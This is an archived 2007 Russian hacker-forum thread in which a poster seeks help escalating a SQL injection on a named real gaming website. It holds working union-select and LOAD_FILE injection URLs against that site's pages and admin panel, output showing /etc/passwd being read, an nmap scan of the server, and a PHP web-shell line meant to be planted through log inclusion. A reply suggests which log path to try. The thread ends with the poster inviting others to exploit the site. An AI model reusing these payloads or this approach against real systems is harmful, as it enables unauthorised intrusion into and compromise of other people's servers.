Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Что можно сделать с LOAD_FILE

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Что можно сделать с LOAD_FILE
Имя
Сообщение << Старые топики   Новые топики >>
Что можно сделать с LOAD_FILE - 2007-04-17 17:42:03.386666   
slavyan5

Сообщений: 3
Оценки: 0
Присоединился: 2007-04-17 16:59:52.716666
Нашел на одном сайте SQL инъекцию вида:
http://URL/' union select 0,1,2,3,4,5,6,7,8,9–%20/
Выдается следующая ошибка:
Warning: main(/home/sites/***/html/siteset/locales/public/***/normal/msg.6.php) [function.main]: failed to open stream: No such file or directory in /home/sites/***/html/siteset/templates/public/***/normal/primary.layout.php on line 4

Fatal error: main() [function.require]: Failed opening required …

Как видно, седьмой параметр выводится на экран (msg.6.php)
Точка каким-то образом фильтруется, поэтому доступ к другим БД (information_schema)
получить не удается, выводится 404 error, если в URL присутствует точка.

Остается только mysql LOAD_FILE. Файл /etc/passwd выводится. Файла /etc/shadow как будто не существует. К php исходникам доступ закрыт, не хватает прав. Если б можно было узнать, где лежат логи mysql и apache, можно было бы подключить через них shell <?php system($_GET['cmd']); ?>.

nmap выдал следующую информацию:
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.2.10
22/tcp open ssh OpenSSH 3.8.1p1 Debian-8.sarge.6 (protocol 2.0)
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC Bind 9.2.4
80/tcp open http Apache httpd 2.0.54 ((Debian GNU/Linux) PHP/5.0.5-Debian-0.8~sarge1 mod_perl/1.999.21 Perl/v5.8.4)
110/tcp open pop3 Openwall popa3d
111/tcp open rpcbind 2 (rpc #100000)
10000/tcp open http Webmin httpd
Service Info: Host: ***; OS: Unix

Вопрос такой: какие файлы целесообразно попробовать подключить и где искать логи?
/var/log/messages тоже как будто не существует (сообщение об ошибке доступа не выводится).
Post #: 1
RE: Что можно сделать с LOAD_FILE - 2007-04-17 17:57:23.353333   
blonx

Сообщений: 1150
Оценки: 0
Присоединился: 2006-04-01 03:28:42
Попробуй вывести /var/log/httpd/access_log
Post #: 2
RE: Что можно сделать с LOAD_FILE - 2007-04-17 18:03:06.950000   
slavyan5

Сообщений: 3
Оценки: 0
Присоединился: 2007-04-17 16:59:52.716666
Попробовал /var/log/httpd/access_log.
failed to open stream: No such file or directory
Post #: 3
RE: Что можно сделать с LOAD_FILE - 2007-04-18 15:15:39.576666   
slavyan5

Сообщений: 3
Оценки: 0
Присоединился: 2007-04-17 16:59:52.716666
Кстати сайт subj'а - http://www.divogames.ru
админка - http://www.divogames.ru/logon/
Инъекция:
http://www.divogames.ru/'%20union%20select%200,1,2,3,4,5,6,7,8,9–%20/
http://www.divogames.ru/logon/'%20and%20shell_id=105%20union%20select%200,1,2,3,4,5,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),7,8–%20/
Если кому-нибудь что-нибудь удастся с этим сделать, пишите в форум.
Post #: 4
Страниц:  [1]
Все форумы >> [В Сети] >> Что можно сделать с LOAD_FILE







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.